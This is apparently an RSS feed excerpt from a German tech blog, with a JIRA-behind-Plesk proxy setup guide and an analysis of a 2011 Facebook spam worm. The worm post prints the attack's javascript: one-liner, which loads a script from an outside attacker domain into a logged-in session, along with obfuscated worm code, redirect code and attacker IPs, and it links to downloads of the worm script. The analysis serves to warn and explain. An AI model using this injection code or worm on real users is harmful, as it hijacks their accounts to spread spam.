<div class="shr-publisher-175"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:right;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Ftooltipp-mailstore-home%2F' data-shr_title='Tooltipp%3A+MailStore+Home'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Ftooltipp-mailstore-home%2F' data-shr_title='Tooltipp%3A+MailStore+Home'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Atlassian JIRA auf Debian 6.0 &#8220;Squeeze&#8221; mit Plesk 10.3 installieren</title>
		<link>http://blog.web-elements.de/allgemein/atlassian-jira-auf-debian-6-0-squeeze-mit-plesk-10-3-installieren/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=atlassian-jira-auf-debian-6-0-squeeze-mit-plesk-10-3-installieren</link>
		<comments>http://blog.web-elements.de/allgemein/atlassian-jira-auf-debian-6-0-squeeze-mit-plesk-10-3-installieren/#comments</comments>
		<pubDate>Mon, 05 Sep 2011 22:14:53 +0000</pubDate>
		<dc:creator>Fabian Benik</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Apache2]]></category>
		<category><![CDATA[Atlassian]]></category>
		<category><![CDATA[Bamboo]]></category>
		<category><![CDATA[Confluence]]></category>
		<category><![CDATA[Debian 6]]></category>
		<category><![CDATA[Domain]]></category>
		<category><![CDATA[JIRA]]></category>
		<category><![CDATA[mod_proxy]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[Plesk]]></category>
		<category><![CDATA[Prallels]]></category>
		<category><![CDATA[Proxy]]></category>
		<category><![CDATA[Squeeze]]></category>
		<category><![CDATA[Subdomain]]></category>
		<category><![CDATA[vhost]]></category>
		<category><![CDATA[VirtualHost]]></category>

		<guid isPermaLink="false">http://blog.web-elements.de/?p=159</guid>
		<description><![CDATA[Schon wieder ist viel Zeit vergangen, in der ich nicht gebloggt habe. Nun habe ich aber wieder ein neues Thema gefunden. Eine Atlassian JIRA (Standalone) Installation auf Debian 6 mit Plesk 10.3. Atlassian selbst dokumentiert die eigentliche Installation mehr als ausreichend. Der neue Standalone Installation Wizard macht es auch Laien einfach JIRA zu installieren. In [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
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			</a>
		</div>
<p>Schon wieder ist viel Zeit vergangen, in der ich nicht gebloggt habe. Nun habe ich aber wieder ein neues Thema gefunden.<br />
Eine <strong>Atlassian JIRA</strong> (Standalone) Installation auf <strong>Debian 6</strong> mit <strong>Plesk 10.3</strong>.</p>
<p><center><a href="http://blog.web-elements.de/wp-content/uploads/atlassian.jpg"><img class="size-full wp-image-160 aligncenter" title="atlassian" src="http://blog.web-elements.de/wp-content/uploads/atlassian.jpg" alt="" width="405" height="122" align="middle" /></a></center><strong>Atlassian</strong> selbst dokumentiert die eigentliche Installation mehr als ausreichend. Der neue Standalone Installation Wizard macht es auch Laien einfach <strong>JIRA</strong> zu installieren. In diesem Post möchte ich mich eher dem Zusammenspiel mit <strong>Plesk</strong> widmen, da ich zu dieser Fragestellung zwar 1000 Anleitungen gefunden habe aber keine so wirklich ausreichend und umfangreich (für mich) war.</p>
<p><span id="more-159"></span><strong>Für die, die Atlassian und ihre Produkte nicht kennen hier eine kurze Zusammenfassung:</strong><br />
<strong>Atlassian</strong> ist eine Software-Firma, die Teams die nötige Software bietet um gut zusammen zu arbeiten. Die Produktpalette wird seit 2002 von Jahr zu Jahr größer und auch namenhafte Firmen wie BMW, Apache, Nike, Adobe, IKEA &amp; Cisco greifen auf Atlassian&#8217;s <strong>Software Lösungen</strong> zurück. Am bekanntesten sind das <strong>Bug Tracking System &#8220;JIRA&#8221;</strong>, der <strong>Continuous Integration Server &#8220;Bamboo&#8221;</strong> und das <strong>Dokumentationstool &#8220;Confluence&#8221;</strong> &#8211; ähnlich einem Wiki. Für weitere Informationen: http://www.atlassian.com</p>
<p>So viel zu dem Vorwort. Nun zum eigentlichen Thema mit einer kurzen Abhandlung einer JIRA Standalone Installation. Wir haben folgende Ausgangssituation:</p>
<ul>
<li>Laufendes Debian 6 System (egal ob V-Server, Rootserver oder lokale Testumbegung)</li>
<li>Plesk 10.3 bereits installiert</li>
<li>SSH Konsole offen und eingeloggt als root</li>
</ul>
<p><strong>Atlassian JIRA Standalone 4.4.x Installation</strong> (<a href="http://confluence.atlassian.com/display/JIRA/Installing+JIRA+Standalone+on+Linux" target="_blank">Atlassian Dokumentation</a>)<br />
Da, wie bereits gesagt, die Installation von JIRA nicht mein Hauptthema ist fasse ich nur kurz die (sehr einfache) Installation zusammen.</p>
<ol>
<li>atlassian-jira-X.Y.bin von der Atlassian Download Page herunterladen</li>
<li>chmod a+x atlassian-jira-X.Y.bin</li>
<li>.bin-File ausführen</li>
</ol>
<p>Während der Installation hat man nun die Möglichkeit das <strong>JIRA Installation Verzeichnis</strong> und das <strong>JIRA Home Verzeichnis</strong> anzupassen. Ist optional.</p>
<p><strong>WICHTIG:</strong> Falls man <strong>JIRA 4.4</strong> mit einer externen Datenbank verknüpfen möchte (von Atlassian für produktiv Umgebungen empfohlen) sollte man sich die Pfade der Installation merken bzw. aufschreiben. Die Pfade brauchen wir gleich noch.</p>
<p>Der Installation Wizard legt automatisch einen eigenen Benutzer &#8220;jira&#8221; während der Installation an und startet nach Beendigung der Installation JIRA auf Port 8080. Nun ruft man http://[IP|DOMAIN]:8080 auf und gelangt zum Setup Wizard. Dort werden nun Sprache, Datenbankverbindung, Lizenzschlüssel &amp; Administratorzugang festgelegt. Ich gehe hier nur auf die Datenbankverbindung ein.</p>
<p>Falls <strong>JIRA 4.4</strong> nicht mit einer <strong>MySQL Datenbank</strong> betrieben werden soll kann man dem Setup Wizard einfach weiter folgen. In JIRA Version 4.4 gibt es aber leider Probleme mit dem automatischen Verbindungsaufbau zu MySQL Datenbanken. Dies muss manuell konfiguriert werden.</p>
<ol>
<li>Setup Wizard bzw. das darstellende Browserfenster / Browsertab schließen</li>
<li>JIRA stoppen (/JIRA Installationsverzeichnis/bin/stop-jira.sh)</li>
<li>dbconfig.xml im JIRA Home Verzeichnis anlegen, mit folgendem Inhalt</li>
</ol>
<blockquote><p>&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;</p>
<p>&lt;jira-database-config&gt;<br />
&lt;name&gt;defaultDS&lt;/name&gt;<br />
&lt;delegator-name&gt;default&lt;/delegator-name&gt;<br />
&lt;database-type&gt;mysql&lt;/database-type&gt;<br />
&lt;schema-name&gt;&lt;/schema-name&gt;<br />
&lt;jdbc-datasource&gt;<br />
&lt;url&gt;jdbc:mysql://DBSERVER:3306/JIRADB?useUnicode=true&amp;amp;characterEncoding=utf8&amp;amp;sessionVariables=storage_engine=InnoDB&lt;/url&gt;<br />
&lt;driver-class&gt;com.mysql.jdbc.Driver&lt;/driver-class&gt;<br />
&lt;username&gt;JIRADBUSER&lt;/username&gt;<br />
&lt;password&gt;JIRADBPASSWORT&lt;/password&gt;<br />
&lt;pool-size&gt;15&lt;/pool-size&gt;<br />
&lt;validation-query&gt;select 1&lt;/validation-query&gt;<br />
&lt;/jdbc-datasource&gt;<br />
&lt;/jira-database-config&gt;</p></blockquote>
<p>DBSERVER, JIRADB, JIRADBUSER &amp; JIRADBPASSWORT müssen natürlich angepasst werden. Danach nur noch JIRA wieder starten (/JIRA Installationsverzeichnis/bin/start-jira.sh) und der Setup Wizard, den man wieder mittels Browser aufruft, startet bei Schritt 2 und man kann ihn ohne weiteres durchlaufen.</p>
<p>Nun hat man ein lauffähiges JIRA unter http://[IP|DOMAIN]:8080. Irgendwie unschön, dieser Port am Ende. Also für interne Zwecke mag das bestimmt noch vertretbar sein http://jira:8080 aber für Kunden, die sonst vielleicht nicht viel mit Ports zutun haben doch recht unschön. Die Lösung: das <strong>Apache Proxy Modul</strong>. Wenn lediglich ein Apache (ohne Control Panel wie Plesk) auf dem Server läuft ist das ganze schnell gemacht. Man legt unter /etc/apache/sites-enabled ein neues <strong>VirtualHost File</strong> an und schreibt folgendes:</p>
<blockquote><p>&lt;VirtualHost *:80&gt;</p>
<p>ServerAdmin info@domain.de<br />
ServerName jira.domain.de<br />
ServerAlias jira.domain.de</p>
<p>ProxyRequests Off<br />
ProxyPreserveHost On</p>
<p>&lt;Proxy&gt;<br />
Order deny,allow<br />
Allow from all<br />
&lt;/Proxy&gt;</p>
<p>ProxyPass / http://[IP|localhost]:8080/<br />
ProxyPassReverse / http://[IP|localhost]:8080</p>
<p>&lt;Location /&gt;<br />
Order allow,deny<br />
Allow from all<br />
&lt;/Location&gt;</p>
<p>&lt;/VirtualHost&gt;</p></blockquote>
<p>Ein Apache neustart (/etc/init.d/apache2 restart) und schon kann man JIRA via http://jira.domain.de erreichen. Jetzt kommt Plesk ins Spiel. Wenn man die obigen Schritte mit dem VirtualHost in einer Plesk Installation versucht wird es nicht funktionieren. Man landet immer auf einer Plesk generierten Fehlerseite, die aussagt, dass die Subdomain bisher nicht registriert ist. Wie funktioniert das also mit Plesk? Wenn man danach bei einer Wahlsuchmaschiene sucht bekommt man wenig Einträge und gar keine hilfreiche Einträge, da die Meisten Treffer noch Plesk 7 und niedriger betreffen.</p>
<p><strong>Atlassian JIRA mit Plesk 10.3</strong><br />
Wenn man weiß wie es funktioniert ist es ganz einfach. Dazu muss man wissen wie Plesk arbeitet. Plesk fängt alle Zugriffe, die auf dem Standard-Port 80 an die ServerIP gestellt werden ab und versucht diese einer Domain zuzuordnen. Läd man also eine Domain, deren A-Records auf die IP des Server mit Plesk zeigen, sucht Plesk in seiner Datenbank passende Einträge. Findet Plesk nichts gelangt man wieder auf eine generierte Seite. Das gleiche gilt für Subdomains.</p>
<p>Um JIRA unter der Subdomain &#8220;jira.domain.de&#8221; verfügbar zu machen sind folgende Schritte notwendig:</p>
<ol>
<li>Einloggen in Plesk  &#8211; wenn man als Administrator eingeloggt ist, einmal als Kunde einloggen</li>
<li>Klick auf den Reiter &#8220;Websites &amp; Domains&#8221;</li>
<li>Klick auf &#8220;Neue Subdomain hinzufügen&#8221;</li>
<li>Bei &#8220;Name der Subdomain&#8221; &#8220;jira&#8221; eingeben, &#8220;Dokumentenstamm&#8221; kann frei gewählt werden, da dieser gleich eh nicht mehr benutzt wird</li>
<li>Speichern</li>
</ol>
<p>Plesk legt nun unter /var/www/vhosts/domain.de/subdomains den Ordner jira mit ein paar Unterordnern an. Nun muss man in den Ordner /var/www/vhosts/domain.de/subdomains/jira/conf wechseln und dort eine &#8220;vhost.conf&#8221; anlegen (einfach mit mcedit vhost.conf, oder dem Editor der Wahl). Dort schreibt man nun fast das gleiche wie oben angegeben. Lediglich &lt;VirtualHost *:80&gt; und &lt;/VirtualHost&gt; müssen wegfallen, da Plesk dies schon selbstständig einbaut.</p>
<p>Der größte Schritt ist geschafft. Speichert man und lässt den Apache neustarten passiert aber leider rein gar nichts. Wir erinnern uns &#8220;Plesk fängt alle Zugriffe ab&#8221; und genau das tut Plesk immer noch. Der letzte aber feine und wichtigste Schritt ist noch ein Plesk Skript über die SSH Konsole auszuführen.</p>
<p><strong>/usr/local/psa/admin/sbin/websrvmng</strong><br />
Man bekommt den Hinweis, dass diese Option überholt ist und man besser httpdmng nutzen soll. Dennoch funktioniert es. Laden wir nach Beendigung des Skripts http://jira.domain.de neu so haben wir es geschafft. JIRA wird wie gewünscht angezeigt und die generierte Plesk Seite ist vergessen.</p>
<p>So funktioniert es natürlich nicht nur für JIRA, Bamboo oder Confluence. Auch andere Applikationen wie ein Teamspeak-Server oder ein Subversion Repository können so mit Subdomains verknüpft werden. Zum Thema Versionskontrolle mit CVS, Subversion oder Git werde ich in den nächsten Tagen noch einen weiteren Post veröffentlichen.</p>
<div class="shr-publisher-159"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:right;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Fatlassian-jira-auf-debian-6-0-squeeze-mit-plesk-10-3-installieren%2F' data-shr_title='Atlassian+JIRA+auf+Debian+6.0+%22Squeeze%22+mit+Plesk+10.3+installieren'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Fatlassian-jira-auf-debian-6-0-squeeze-mit-plesk-10-3-installieren%2F' data-shr_title='Atlassian+JIRA+auf+Debian+6.0+%22Squeeze%22+mit+Plesk+10.3+installieren'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
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		</item>
		<item>
		<title>Der Facebook Spam-Wurm: WOW Besucher des Profils sehen</title>
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		<pubDate>Sun, 24 Apr 2011 11:28:49 +0000</pubDate>
		<dc:creator>Fabian Benik</dc:creator>
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		<category><![CDATA[anonym]]></category>
		<category><![CDATA[ASCII]]></category>
		<category><![CDATA[blogspot]]></category>
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		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[Hex]]></category>
		<category><![CDATA[Hexadezimal]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Konverter]]></category>
		<category><![CDATA[Obfuscating]]></category>
		<category><![CDATA[Profilbesucher]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[whois]]></category>
		<category><![CDATA[Wurm]]></category>

		<guid isPermaLink="false">http://blog.web-elements.de/?p=128</guid>
		<description><![CDATA[23.04.2011, Ostern und 20 Veranstaltungseinladungen bei Facebook. So fing es gestern bei mir an. Bei so viel Einladungen also ab zu Facebook. &#160; Na herzlichen Glückwunsch! 20 x die selbe Veranstaltung&#8230; ein Spam-Wurm. Nachdem ich gestern sowieso wenig zu tun hatte und mir nach etwas Beschäftigung war schaute ich mir das ganze etwas näher an. [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Fder-facebook-spam-wurm-wow-besucher-des-profils-sehen%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Fder-facebook-spam-wurm-wow-besucher-des-profils-sehen%2F&amp;source=Web_Elements&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p style="text-align: left;">23.04.2011, Ostern und 20 Veranstaltungseinladungen bei Facebook. So fing es gestern bei mir an. Bei so viel Einladungen also ab zu Facebook.</p>
<p style="text-align: center;"><a href="http://blog.web-elements.de/wp-content/uploads/event.jpg"><img class="size-full wp-image-129 aligncenter alignnone" title="event" src="http://blog.web-elements.de/wp-content/uploads/event.jpg" alt="" width="468" height="131" /></a></p>
<p style="text-align: left;">&nbsp;</p>
<p style="text-align: left;">Na herzlichen Glückwunsch! 20 x die selbe Veranstaltung&#8230; ein Spam-Wurm. Nachdem ich gestern sowieso wenig zu tun hatte und mir nach etwas Beschäftigung war schaute ich mir das ganze etwas näher an. Sehr auffällig war natürlich die URL im Event: &#8220;http://216.119.153.147/spy.php&#8221;. Kann ja schon nichts gutes verheißen.</p>
<p>Beim Aufruf der Seite landet man je nach Land auf einer blogspot.com Seite, die wie folgt aussieht:</p>
<p><span id="more-128"></span></p>
<p style="text-align: center;"><a href="http://blog.web-elements.de/wp-content/uploads/facebook2.jpg"><img class="size-medium wp-image-130 aligncenter" title="facebook2" src="http://blog.web-elements.de/wp-content/uploads/facebook2-256x300.jpg" alt="" width="256" height="300" /></a></p>
<p style="text-align: left;">Auf dieser Seite bekommt man eine Schritt für Schritt Anleitung, wie man seine Profil Besucher sehen kann. Im ersten Schritt soll man ein Javascript kopieren und dies &#8211; wenn man bei Facebook eingeloggt ist &#8211; in die Adressleiste des Browsers kopieren, anschließend mit Enter ausführen. Hier sollten meines Erachtens auch Personen mit keinem Hintergrundwissen stutzig werden und dies NICHT tun. Aber die ganzen Veranstaltungseinladungen sprechen für sich. Nach einer kurzen Wartezeit sieht man dann &#8220;seine Profil Besucher&#8221;.</p>
<p>So viel zur Geschichte. Als erstes war ich neugierig was allgemein hinter der IP (216.119.153.147) steckt. Mit der Eingabe in den Browser kam ich auf eine serverseitige Auflistung des Verzeichnisses. Super! Also einmal kurz alle Dateien auf die Festplatte geschoben und der Spaß kann anfangen. Ich hatte mir die Beschaffung der einzelnen Dateien wirklich schwieriger vorgestellt <img src='http://blog.web-elements.de/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<blockquote><p>&lt;head&gt;<br />
&lt;title&gt;Your CPA Page Redirecting..&lt;/title&gt;<br />
&lt;script language=&#8221;javascript&#8221; src=&#8221;http://j.maxmind.com/app/geoip.js&#8221;&gt;&lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;script language=&#8221;javascript&#8221;&gt;<br />
var country = geoip_country_code();<br />
switch (country)<br />
{<br />
case (country = &#8220;CA&#8221;):<br />
window.location = &#8220;http://who-sees-en.blogspot.com/&#8221;;<br />
break;<br />
case (country = &#8220;DE&#8221;):<br />
window.location = &#8220;http://german-spy.blogspot.com/&#8221;;<br />
break;<br />
case (country = &#8220;ES&#8221;):<br />
window.location = &#8220;http://spanish-landing.blogspot.com/&#8221;;<br />
break;<br />
default:<br />
window.location = &#8220;http://216.24.202.125/othercpa.php/&#8221;;<br />
break;<br />
}<br />
&lt;/script&gt;<br />
&lt;/body&gt;</p></blockquote>
<p>Das ist die spy.php, die jeder bei Klick aufruft. Was passiert ist nicht wirklich wild. Anhand der aufrufenden IP-Adresse wird das entsprechende Land ermittelt und auf die bereits oben erwähnten blogspot.com Seiten weitergeleitet. Aber im title-Tag sieht man etwas viel schöneres! &#8220;CPA&#8221;.</p>
<blockquote><p>Cost per Action (CPA) ist ein Abrechnungsmodell für die Kosten, die bei einer Online-Werbung anfallen und zwar sind es die Kosten mit der eine gewünschte Aktion ausgelöst werden. (<a href="http://www.itwissen.info/definition/lexikon/CPA-cost-per-action.html">Quelle</a>)</p></blockquote>
<p>Nun gut, nachdem ich wusste, dass der Ersteller mit Klicks Geld machen will (was nicht wirklich verwunderlich war) habe ich mir das Javascript für die Adresszeile näher angeschaut.</p>
<blockquote><p>javascript: (a = (b = document).createElement(&#8216;script&#8217;)).src = &#8216;<strong>//iamedwards.com/german.php</strong>?&#8217; + Math.random(),<br />
b.body.appendChild(a);<br />
void(0)</p></blockquote>
<p>Alles was passiert ist, dass ein Javascript von der fett markierten Seite in der Seite von Facebook eingefügt wird. Dieses Script habe ich mir auch vom Server geladen und werde es mir gleich ansehen. Vorher noch kurz einen Blick auf die Domain des Scripts. Eine kurze Whois Abfrage ergab:</p>
<blockquote><p>Domain Name&#8230;&#8230;&#8230;. iamedwards.com<br />
Organisation Name&#8230;. zeynep hakimoglu<br />
Organisation Address. PO Box 61359<br />
Organisation Address. Sunnyvale<br />
Organisation Address. 94088<br />
Organisation Address. CA<br />
Organisation Address. US</p>
<p>Admin Name&#8230;&#8230;&#8230;.. Admin PrivateRegContact<br />
Admin Address&#8230;&#8230;.. registered post accepted only<br />
Admin Email&#8230;&#8230;&#8230;. contact@myprivateregistration.com</p>
<p>Tech Name&#8230;&#8230;&#8230;&#8230; TECH PrivateRegContact<br />
Tech Address&#8230;&#8230;&#8230; registered post accepted only<br />
Tech Email&#8230;&#8230;&#8230;.. contact@myprivateregistration.com</p></blockquote>
<p>Eine weitere Domain, die ich in den PHP-Skripten fand war &#8220;impressionpromotion.info&#8221;. Auch hier gab eine kurze Whois Abfrage Aufschluss:</p>
<blockquote><p>Domain Name: IMPRESSIONPROMOTION.INFO<br />
Registrant Name:Registration Private<br />
Registrant Organization:Domains by Proxy, Inc.<br />
Registrant Street1:DomainsByProxy.com<br />
Registrant City:Scottsdale<br />
Registrant State/Province:Arizona<br />
Registrant Email: IMPRESSIONPROMOTION.INFO@domainsbyproxy.com</p></blockquote>
<p>Beides zeigt keine wirklichen Angaben. Lediglich die beiden Firmen konnte ich erfahren. Ein Blick auf domainsbyproxy.com und ich war schlauer. Sowas kann es auch nur wieder außerhalb Deutschlands geben. Firmen, die gegen Bezahlung Domains für einen anonym registrieren und absolut sinnfreie Informationen in die Registration geben. Nun gut, da komme ich also nicht weiter, aber das war auch nicht mein Ziel. Ich wollte sehen welches Javascript bei Facebook mit eingebunden wird.</p>
<blockquote><p>var _0x8a40=["%firstname% wow facebook now lets you see who views your profile! check it out @ ow.ly/4Fvck","My Top Profile Viewers: \n\ <strong>%tf% - 1136 views</strong> \n\ <strong>%tf% - 983 views</strong> \n\ <strong>%tf% - 542 views</strong> \n\ <strong>%tf% - 300 views</strong> \n\ See who viewed your profile @ http://216.119.148.83/spy.php","http://216.24.202.125/othercpa.php","See your Facebook stalkers here: http://216.119.153.147/spy.php yes it really works","WOW now you can see all your facebook profile stalkers!!!","\x68\x72\x65\x66","\x6C\x6F\x63\x61\(...)</p></blockquote>
<p>Je nach Sprache kam ein jeweilig richtig übersetztes Skript zurück. Was man auf den ersten Blick sehen kann: es stehen festgeschriebene Anzahlen an Besuchen dort. Lediglich die Namen scheinen variabel zu sein. Also - wie zu erwarten - nix mit echten Profil-Besuchen. Nach wenigen Zeilen ist der Lesespaß aber auch schon vorbei! Es folgen unmengen an "\x68\x72\x65\x66" Zeichensätzen. Nennen wir es vorerst mal banales Obfuscating.</p>
<p>Nachdem ich den Javascript-Code formatiert hatte sah die Welt schon etwas besser aus:</p>
<blockquote><p>var _0x8a40 = [<br />
...<br />
"\x74\x6F\x70", // 7<br />
"\x47\x45\x54", // 8<br />
"\x6F\x70\x65\x6E", // 9<br />
...<br />
];</p>
<p>var chatmessage         = _0x8a40[0];<br />
var postmessage             = _0x8a40[1];<br />
var redirect             = _0x8a40[2];<br />
var eventdesc             = _0x8a40[3];<br />
var eventname             = _0x8a40[4];<br />
var nfriends            = 5000;<br />
var debug                = false;<br />
var wf                = 0;</p>
<p>var mf = function ()<br />
{<br />
if(wf&lt;=0)<br />
{<br />
&#8230;<br />
} ;<br />
} ;</p>
<p>var doget = function (_0x93d3xb,_0x93d3xc,_0x93d3xd)<br />
{<br />
&#8230;</p></blockquote>
<p>_0x8a40 ist wohl ein Array mit 105 Einträgen. Na super, da kommt Freude auf! Der Ersteller hat sich ganz schön Mühe gegeben. Hier könnt ihr das <a href="http://blog.web-elements.de/wp-content/uploads/c.js">Orginal-Script downloaden</a>. Hier das <a href="http://blog.web-elements.de/wp-content/uploads/c_formatted.js">formatierte-Script</a>. Nun gut, damit man wirklich etwas lesen kann komme ich zurück zum banalen <a href="http://en.wikipedia.org/wiki/Obfuscated_code">Obfuscating</a>. Warum banal? Es ist kein wirkliches Obfuscating! Der Ersteller hat lediglich ASCII Zeichen in Hexadezimal Zeichen umgewandelt. Sprich aus z.B. &#8220;href&#8221; wird &#8220;\x68\x72\x65\x66&#8243;. Macht den ganzen Code auf den ersten Blick nur etwas schwer zu lesen aber ich denke mehr wollte der Ersteller auch nicht erreichen. Kurz einen kleinen <a href="http://blog.web-elements.de/ascii_converter/">HTML/Javascript Konverter</a> geschrieben und los geht das wilde übersetzen.Nachdem ich alles übersetzt hatte sah das Array schon viel besser aus:</p>
<blockquote><p>var _0x8a40 = [<br />
...<br />
"href", // 5<br />
"location", // 6<br />
"top", // 7<br />
"GET", // 8<br />
"open", // 9<br />
"onreadystatechange", // 10<br />
"readyState", // 11<br />
"status", // 12<br />
"responseText", // 13<br />
...<br />
];</p></blockquote>
<p>Hier das <a href="http://blog.web-elements.de/wp-content/uploads/c_unobfuscated.js">leserliche-Script</a>. Jetzt nur noch jeden Array-Eintrag in den Code übertragen und man sollte es ausreichend lesen können. Ja, bis auf die Funktions- &amp; Variablennamen sieht das <a href="http://blog.web-elements.de/wp-content/uploads/c_final.js">Script</a> jetzt schon sehr leserlich aus. Was passiert also alles? Grob erstellt das Script einen Layer, der einem mitteilt, dass man warten soll. Im Hintergrund holt sich das Script den eigenen Benutzernamen und die Namen der Freunde. Danach erstellt das Script eine Neue Veranstaltung und läd zig Freunde zu dieser Veranstaltung ein. Zusätzlich wird der Pinnwandeintrag, über den die Leute sich so freuen, erstellt, Benutzernamen der Freunde werden eingefügt und sowohl bei einem selbst als auch bei den Freunden wird dieser Pinnwandeintrag eingestellt. Auf das letzte &#8220;Feature&#8221; des Scripts kam ich während ich noch am Übersetzen des Arrays war. Plötzlich tauchten Chat-Nachrichten mit den gleichen Inhalten auf. (&#8220;Wow&#8230;&#8221;) Das ist wie gesagt das letzte &#8220;Feature&#8221;. Das Script ermittelt alle Freunde, die im Chat online sind und die, mit denen man gerade schreibt. Die offenen Chats bekommen dann die oben beschriebene Nachricht.</p>
<p>Ganz schön viel Aufwand für nur ein paar Klicks. Ich dachte wirklich, da steckt noch mehr dahinter als nur Klick-Generierung aber der Ersteller wird mit sicherheit schon gutes Geld mit den Klicks verdient haben. Hätte mich ehrlich gesagt gefreut wenn noch mehr zum Finden da gewesen wäre&#8230; Malware, Spyware, aber vielleicht beim nächsten Mal <img src='http://blog.web-elements.de/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Zum Abschluss noch kurz ein paar Worte zur Sicherheit. Ein gewisses Grundverständnis setze ich einfach mal voraus. Einem sollte klar sein, dass man nicht einfach irgendeinen fremden Code in die Browserleiste kopiert. Ich bin sicher, bei Facebooks &#8220;Datenschutz&#8221; wäre ein Passwort-Klau auch möglich gewesen. Aber es hätten auch nur bei Anklicken des Events oder Aufruf der URL schon schädliche Scripte ausgeführt werden können, ohne das man selbst einen Code kopiert und ausführt. Deshalb für die, die das Firefox Plugin noch nicht installiert haben die kurze Empfehlung von <a href="https://addons.mozilla.org/de/firefox/addon/noscript/">NoScript</a>. NoScript ist ein Firefox Plugin, das jede Ausführung von Javascripts blockiert. Man kann mit einfachen Klicks bestimmen welchen Seiten man vertraut und welchen nicht. Die Scripts, der als vertrauenswürdig eingestuften Seiten, werden beim nächsten Aufruf der Seite dann nicht mehr blockiert.</p>
<p>Das war meine Oster-Beschäftigung. In diesem Sinne frohe Ostern!</p>
<div class="shr-publisher-128"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:right;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Fder-facebook-spam-wurm-wow-besucher-des-profils-sehen%2F' data-shr_title='Der+Facebook+Spam-Wurm%3A+WOW+Besucher+des+Profils+sehen'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Fder-facebook-spam-wurm-wow-besucher-des-profils-sehen%2F' data-shr_title='Der+Facebook+Spam-Wurm%3A+WOW+Besucher+des+Profils+sehen'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
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		<slash:comments>23</slash:comments>
		</item>
		<item>
		<title>Gewinnspiel zum Geburtstag von Stadt-Bremerhaven.de</title>
		<link>http://blog.web-elements.de/allgemein/gewinnspiel-zum-geburtstag-von-stadt-bremerhaven-de/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=gewinnspiel-zum-geburtstag-von-stadt-bremerhaven-de</link>
		<comments>http://blog.web-elements.de/allgemein/gewinnspiel-zum-geburtstag-von-stadt-bremerhaven-de/#comments</comments>
		<pubDate>Fri, 04 Mar 2011 18:34:33 +0000</pubDate>
		<dc:creator>Fabian Benik</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Carsten Knobloch]]></category>
		<category><![CDATA[Caschy]]></category>
		<category><![CDATA[Geburtstag]]></category>
		<category><![CDATA[Gewinn]]></category>
		<category><![CDATA[Gewinnspiel]]></category>
		<category><![CDATA[Stadt-Bremerhaven]]></category>

		<guid isPermaLink="false">http://blog.web-elements.de/?p=125</guid>
		<description><![CDATA[Man glaubt es kaum aber es ist soweit. Heute wird der, meiner Meinung nach bekannteste, Tech-Blog von Carsten Knobloch aka Caschy 6 Jahre alt. Wer es nicht kennt: Stadt-Bremerhaven heißt das gute Kind von Carsten und sollte ursprünglich &#8220;(&#8230;)eine Ablage für Dinge werden, die einfach raus müssen&#8221;. Mittlerweile hat Stadt-Bremerhaven &#8220;täglich über 20.000 unique Besucher&#8220;, [...]]]></description>
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			</a>
		</div>
